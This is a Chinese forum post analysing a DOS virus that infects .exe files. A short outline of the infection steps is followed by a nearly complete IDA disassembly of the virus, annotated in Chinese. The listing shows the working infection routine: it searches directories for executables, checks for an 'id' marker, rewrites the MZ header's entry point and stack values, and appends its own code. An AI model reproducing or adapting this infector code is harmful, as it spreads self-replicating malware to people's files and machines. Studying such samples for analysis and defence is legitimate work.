发布于2022年11月8日2年前 dos 运行期.exe文件感染病毒 还是如此的菜原谅我吧 病毒行为:感染.com文件 修改被感染文件的SS:SP流程:恢复被感染的文件的 cs:ip ss:sp 搜索.exe 如果是正确的.exe文件并且没有被感染过 ,打开文件保存文件信息 ,进行感染修改测试:ip ss:sp, 添加病毒代码 ,恢复文件信息 ,关闭文件用到的中断与上篇.com文件的感染相同dos下com文件与exe文件最大的不同就是头,com文件只有程序映像是从100h起的绝对映像。exe文件包括一个可重新定位的程序映像,还包含一个文件头用来重定位。文件头包括cs ss ip sp 文件头大小等敏感信息就是将要利用到的。反汇编结果:seg000:0000 ;seg000:0000 ; +-------------------------------------------------------------------------+seg000:0000 ; | This file is generated by The Interactive Disassembler (IDA) |seg000:0000 ; | Copyright (c) 2007 by DataRescue sa/nv, <[email protected]> |seg000:0000 ; | Licensed to: Mach EDV Dienstleistungen, Jan Mach, 1 user, adv, 11/2007 |seg000:0000 ; +-------------------------------------------------------------------------+seg000:0000 ;seg000:0000 ; Input MD5 : 65A4A3AB8F1AC63E12E1FC451B83316Aseg000:0000seg000:0000 ; File Name : C:\新建文件夹\virus_exe.exeseg000:0000 ; Format : MS-DOS executable (EXE)seg000:0000 ; Base Address: 0h Range: 0h-31Ch Loaded length: 31Chseg000:0000 ; Entry Point : 0:100seg000:0000seg000:0000 .386seg000:0000 .model largeseg000:0000seg000:0000 ; ===========================================================================seg000:0000seg000:0000 ; Segment type: Pure codeseg000:0000 seg000 segment byte public 'CODE' use16seg000:0000 assume cs:seg000seg000:0000 assume es:nothing, ss:nothing, ds:nothing, fs:nothing, gs:nothingseg000:0000 byte_0 db 100h dup(0) ; CODE XREF: start:loc_173Jseg000:0100 assume ss:seg000, ds:nothingseg000:0100seg000:0100 ; =============== S U B R O U T I N E =======================================seg000:0100seg000:0100seg000:0100 public startseg000:0100 start proc nearseg000:0100 call $+3seg000:0103 pop bpseg000:0104 sub bp, 103h ; 相对偏移seg000:0108 push dsseg000:0109 push esseg000:010A push csseg000:010B pop esseg000:010C assume es:seg000seg000:010C push csseg000:010D pop dsseg000:010E assume ds:seg000seg000:010E mov ah, 1Ahseg000:0110 lea dx, [bp+295h] ; newdta DTA地址seg000:0114 int 21h ; DOS - SET DISK TRANSFER AREA ADDRESSseg000:0114 ; DS:DX -> disk transfer bufferseg000:0116 mov ah, 47h ; 'G'seg000:0118 lea si, [bp+2C0h]seg000:011C cwdseg000:011D int 21h ; DOS - 2+ - GET CURRENT DIRECTORYseg000:011D ; DL = drive (0=default, 1=A, etc.)seg000:011D ; DS:SI points to 64-byte buffer areaseg000:011F lea di, [bp+174h]seg000:0123 lea si, [bp+17Ch]seg000:0127 movswseg000:0128 movswseg000:0129 movswseg000:012A movswseg000:012B mov byte ptr [bp+301h], 0 ; 可能用作计数seg000:0130seg000:0130 loc_130: ; CODE XREF: start+46jseg000:0130 lea dx, [bp+286h]seg000:0134 call sub_185seg000:0137 cmp byte ptr [bp+301h], 3seg000:013C jnb short loc_148seg000:013E mov ah, 3Bh ; ';' ;获取当前的路径seg000:0140 lea dx, [bp+28Ch]seg000:0144 int 21h ; DOS - 2+ - CHANGE THE CURRENT DIRECTORY (CHDIR)seg000:0144 ; DS:DX -> ASCIZ directory name (may include drive)seg000:0146 jnb short loc_130seg000:0148seg000:0148 loc_148: ; CODE XREF: start+3Cjseg000:0148 lea si, [bp+2C0h]seg000:014C mov ah, 3Bh ; ';' ;转换当权的路径seg000:014E xchg dx, siseg000:0150 int 21h ; DOS - 2+ - CHANGE THE CURRENT DIRECTORY (CHDIR)seg000:0150 ; DS:DX -> ASCIZ directory name (may include drive)seg000:0152 pop esseg000:0153 assume es:nothingseg000:0153 pop dsseg000:0154 assume ds:nothingseg000:0154 mov dx, 80h ; '€' 恢复初始DTAseg000:0157 mov ah, 1Ahseg000:0159 int 21h ; DOS - SET DISK TRANSFER AREA ADDRESSseg000:0159 ; DS:DX -> disk transfer bufferseg000:015B mov ax, ds ;恢复目标文件 ss:sp seg000:015D add ax, 10hseg000:0160 add cs:[bp+176h], axseg000:0165 add ax, cs:[bp+178h]seg000:016A cliseg000:016B mov ss, axseg000:016D assume ss:nothingseg000:016D mov sp, cs:[bp+17Ah]seg000:0172 stiseg000:0173seg000:0173 loc_173:seg000:0173 jmp far ptr byte_0seg000:0173 start endpseg000:0173seg000:0173 ; ---------------------------------------------------------------------------seg000:0178 word_178 dw 0seg000:017A db 0seg000:017B db 0seg000:017C db 0seg000:017D db 0seg000:017E db 0F0h ; ?seg000:017F db 0FFhseg000:0180 db 0seg000:0181 db 0seg000:0182 db 0seg000:0183 db 0seg000:0184 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]seg000:0185seg000:0185 ; =============== S U B R O U T I N E =======================================seg000:0185seg000:0185seg000:0185 sub_185 proc near ; CODE XREF: start+34pseg000:0185 mov cx, 7seg000:0188 mov ah, 4Ehseg000:018Aseg000:018A loc_18A: ; CODE XREF: sub_185+F6jseg000:018A int 21h ; DOS - 2+ - FIND FIRST ASCIZ (FINDFIRST)seg000:018A ; CX = search attributesseg000:018A ; DS:DX -> ASCIZ filespecseg000:018A ; (drive, path, and wildcards allowed)seg000:018C jb short nullsub_1 ; 没找到exe文件seg000:018E lea dx, [bp+2B3h]seg000:0192 mov ax, 4300hseg000:0195 int 21h ; DOS - 2+ - GET FILE ATTRIBUTESseg000:0195 ; DS:DX -> ASCIZ file name or directoryseg000:0195 ; name without trailing slashseg000:0197 jb short nullsub_1seg000:0199 push cx ; 保存 当前文件属性seg000:019A push dxseg000:019B mov ax, 4301hseg000:019E push axseg000:019F xor cx, cxseg000:01A1 int 21h ; DOS - 2+ - SET FILE ATTRIBUTESseg000:01A1 ; DS:DX -> ASCIZ file nameseg000:01A1 ; CX = file attribute bitsseg000:01A3 mov ax, 3D02hseg000:01A6 lea dx, [bp+2B3h]seg000:01AA int 21h ; DOS - 2+ - OPEN DISK FILE WITH HANDLEseg000:01AA ; DS:DX -> ASCIZ filenameseg000:01AA ; AL = access modeseg000:01AA ; 2 - read & writeseg000:01AC xchg ax, bx ; bx=文件句柄seg000:01AD mov ax, 5700hseg000:01B0 int 21h ; DOS - 2+ - GET FILE'S DATE/TIMEseg000:01B0 ; BX = file handleseg000:01B2 push cxseg000:01B3 push dxseg000:01B4 mov ah, 3Fh ; '?'seg000:01B6 mov cx, 1Ahseg000:01B9 lea dx, [bp+302h]seg000:01BD int 21h ; DOS - 2+ - READ FROM FILE WITH HANDLEseg000:01BD ; BX = file handle, CX = number of bytes to readseg000:01BD ; DS:DX -> bufferseg000:01BF mov ax, 4202hseg000:01C2 xor cx, cxseg000:01C4 cwdseg000:01C5 int 21h ; DOS - 2+ - MOVE FILE READ/WRITE POINTER (LSEEK)seg000:01C5 ; AL = method: offset from end of fileseg000:01C7 cmp word ptr [bp+302h], 'ZM'seg000:01CD cmp word ptr [bp+302h], 'MZ'seg000:01D3 jnz short loc_1DDseg000:01D5 cmp word ptr [bp+312h], 'id'seg000:01DB jnz short loc_1E0 ; 保存目标文件的信息seg000:01DDseg000:01DD loc_1DD: ; CODE XREF: sub_185+4Ejseg000:01DD jmp loc_269seg000:01E0 ; ---------------------------------------------------------------------------seg000:01E0seg000:01E0 loc_1E0: ; CODE XREF: sub_185+56jseg000:01E0 lea si, [bp+316h] ; 保存目标文件的信息seg000:01E4 lea di, [bp+17Ch]seg000:01E8 movswseg000:01E9 movswseg000:01EA sub si, 0Ahseg000:01ED movswseg000:01EE movswseg000:01EF push bxseg000:01F0 mov bx, [bp+30Ah]seg000:01F4 mov cl, 4seg000:01F6 shl bx, clseg000:01F8 push dxseg000:01F9 push axseg000:01FA sub ax, bxseg000:01FC sbb dx, 0seg000:01FF mov cx, 10hseg000:0202 div cxseg000:0204 mov [bp+310h], ax ; 重新设置目标文件的ds ss ip sp这就是 头起到的重要作用seg000:0208 mov [bp+316h], dxseg000:020C mov word ptr [bp+312h], 'id'seg000:0212 mov [bp+318h], ax ; 病毒的行文将sp设置为idseg000:0216 pop axseg000:0217 pop dxseg000:0218 add ax, 18Fhseg000:021B adc dx, 0seg000:021E pop axseg000:021F pop dxseg000:0220 add ax, 18Fhseg000:0223 adc dx, 0seg000:0226 mov cl, 9seg000:0228 push axseg000:0229 shr ax, clseg000:022B ror dx, clseg000:022D stcseg000:022E adc dx, axseg000:0230 pop axseg000:0231 and ah, 1seg000:0234 mov [bp+304h], axseg000:0238 mov [bp+306h], dxseg000:023C pop bxseg000:023D mov cx, 18Fhseg000:0240 lea dx, [bp+100h] ; 重写文件头,使程序开始时跳转到自己的病毒程序开始seg000:0244 mov ah, 40hseg000:0246 int 21h ; DOS - 2+ - WRITE TO FILE WITH HANDLEseg000:0246 ; BX = file handle, CX = number of bytes to write, DS:DX -> bufferseg000:0248 mov ax, 9seg000:024B mov dx, [bp+28Fh]seg000:024F int 21h ; DOS - PROGRAM TERMINATIONseg000:0251 ; ---------------------------------------------------------------------------seg000:0251 xor dx, dxseg000:0253 mov ax, 4200h ; 恢复文件信息seg000:0256 xor cx, cxseg000:0258 int 21h ; DOS - 2+ - MOVE FILE READ/WRITE POINTER (LSEEK)seg000:0258 ; AL = method: offset from beginning of fileseg000:025A lea dx, [bp+302h]seg000:025E mov cx, 1Ahseg000:0261 mov ah, 40hseg000:0263 int 21h ; DOS - 2+ - WRITE TO FILE WITH HANDLEseg000:0263 ; BX = file handle, CX = number of bytes to write, DS:DX -> bufferseg000:0265 inc byte ptr [bp+301h]seg000:0269seg000:0269 loc_269: ; CODE XREF: sub_185:loc_1DDjseg000:0269 mov ax, 5701hseg000:026C pop dx seg000:026D pop cxseg000:026E int 21h ; DOS - 2+ - SET FILE'S DATE/TIMEseg000:026E ; BX = file handle, CX = time to be setseg000:026E ; DX = date to be setseg000:0270 mov ah, 3Ehseg000:0272 int 21h ; DOS - 2+ - CLOSE A FILE WITH HANDLEseg000:0272 ; BX = file handleseg000:0274 pop axseg000:0275 pop dxseg000:0276 pop cxseg000:0277 int 21h ; DOS -seg000:0279 mov ah, 4Fh ; 'O'seg000:027B jmp loc_18Aseg000:027B sub_185 endp ; sp-analysis failedseg000:027Bseg000:027B ; ---------------------------------------------------------------------------seg000:027E word_27E dw 505Bhseg000:0280 db 53h ; Sseg000:0281 db 2Fh ; /seg000:0282 db 47h ; Gseg000:0283 db 0FDh ; ?seg000:0284 db 5Dh ; ]seg000:0285 db 0seg000:0286 db 2Ah ; *seg000:0287 db 2Eh ; .seg000:0288 db 45h ; Eseg000:0289 db 58h ; Xseg000:028A db 45h ; Eseg000:028B db 0seg000:028C db 2Eh ; .seg000:028D db 2Eh ; .seg000:028E db 0seg000:028F db 69h ; iseg000:0290 db 6Eh ; nseg000:0291 db 66h ; fseg000:0292 db 65h ; eseg000:0293 db 63h ; cseg000:0294 db 74h ; tseg000:0295 new_Dta db 0seg000:0296 db 0seg000:0297 db 0seg000:0298 db 0seg000:0299 db 0seg000:029A db 0seg000:029B db 0seg000:029C db 0seg000:029D db 0seg000:029E db 0seg000:029F db 0seg000:02A0 db 0seg000:02A1 db 0seg000:02A2 db 0seg000:02A3 db 0seg000:02A4 db 0seg000:02A5 db 0seg000:02A6 db 0seg000:02A7 db 0seg000:02A8 db 0seg000:02A9 db 0seg000:02AA db 0seg000:02AB db 0seg000:02AC db 0seg000:02AD db 0seg000:02AE db 0seg000:02AF db 0seg000:02B0 db 0seg000:02B1 db 0seg000:02B2 db 0seg000:02B3 current_filename db 0seg000:02B4 db 0seg000:02B5 db 0seg000:02B6 db 0seg000:02B7 db 0seg000:02B8 db 0seg000:02B9 db 0seg000:02BA db 0seg000:02BB db 0seg000:02BC db 0seg000:02BD db 0seg000:02BE db 0seg000:02BF db 0seg000:02C0 current_dir db 0seg000:02C1 db 0seg000:02C2 db 0seg000:02C3 db 0seg000:02C4 db 0seg000:02C5 db 0seg000:02C6 db 0seg000:02C7 db 0seg000:02C8 db 0seg000:02C9 db 0seg000:02CA db 0seg000:02CB db 0seg000:02CC db 0seg000:02CD db 0seg000:02CE db 0seg000:02CF db 0seg000:02D0 db 0seg000:02D1 db 0seg000:02D2 db 0seg000:02D3 db 0seg000:02D4 db 0seg000:02D5 db 0seg000:02D6 db 0seg000:02D7 db 0seg000:02D8 db 0seg000:02D9 db 0seg000:02DA db 0seg000:02DB db 0seg000:02DC db 0seg000:02DD db 0seg000:02DE db 0seg000:02DF db 0seg000:02E0 db 0seg000:02E1 db 0seg000:02E2 db 0seg000:02E3 db 0seg000:02E4 db 0seg000:02E5 db 0seg000:02E6 db 0seg000:02E7 db 0seg000:02E8 db 0seg000:02E9 db 0seg000:02EA db 0seg000:02EB db 0seg000:02EC db 0seg000:02ED db 0seg000:02EE db 0seg000:02EF db 0seg000:02F0 db 0seg000:02F1 db 0seg000:02F2 db 0seg000:02F3 db 0seg000:02F4 db 0seg000:02F5 db 0seg000:02F6 db 0seg000:02F7 db 0seg000:02F8 db 0seg000:02F9 db 0seg000:02FA db 0seg000:02FB db 0seg000:02FC db 0seg000:02FD db 0seg000:02FE db 0seg000:02FF db 0seg000:0300 db 0seg000:0301 unk_301 db 0seg000:0302 first26byte db 0seg000:0303 db 0seg000:0304 db 0seg000:0305 db 0seg000:0306 db 0seg000:0307 db 0seg000:0308 db 0seg000:0309 db 0seg000:030A db 0seg000:030B db 0seg000:030C db 0seg000:030D db 0seg000:030E db 0seg000:030F db 0seg000:0310 db 0seg000:0311 db 0seg000:0312 unk_312 db 0seg000:0313 db 0seg000:0314 db 0seg000:0315 db 0seg000:0316 db 0seg000:0317 db 0seg000:0318 db 0seg000:0319 db 0seg000:031A db 0seg000:031B db 0seg000:031B seg000 endsseg000:031Bseg000:031Bseg000:031B end start
创建帐户或登录后发表意见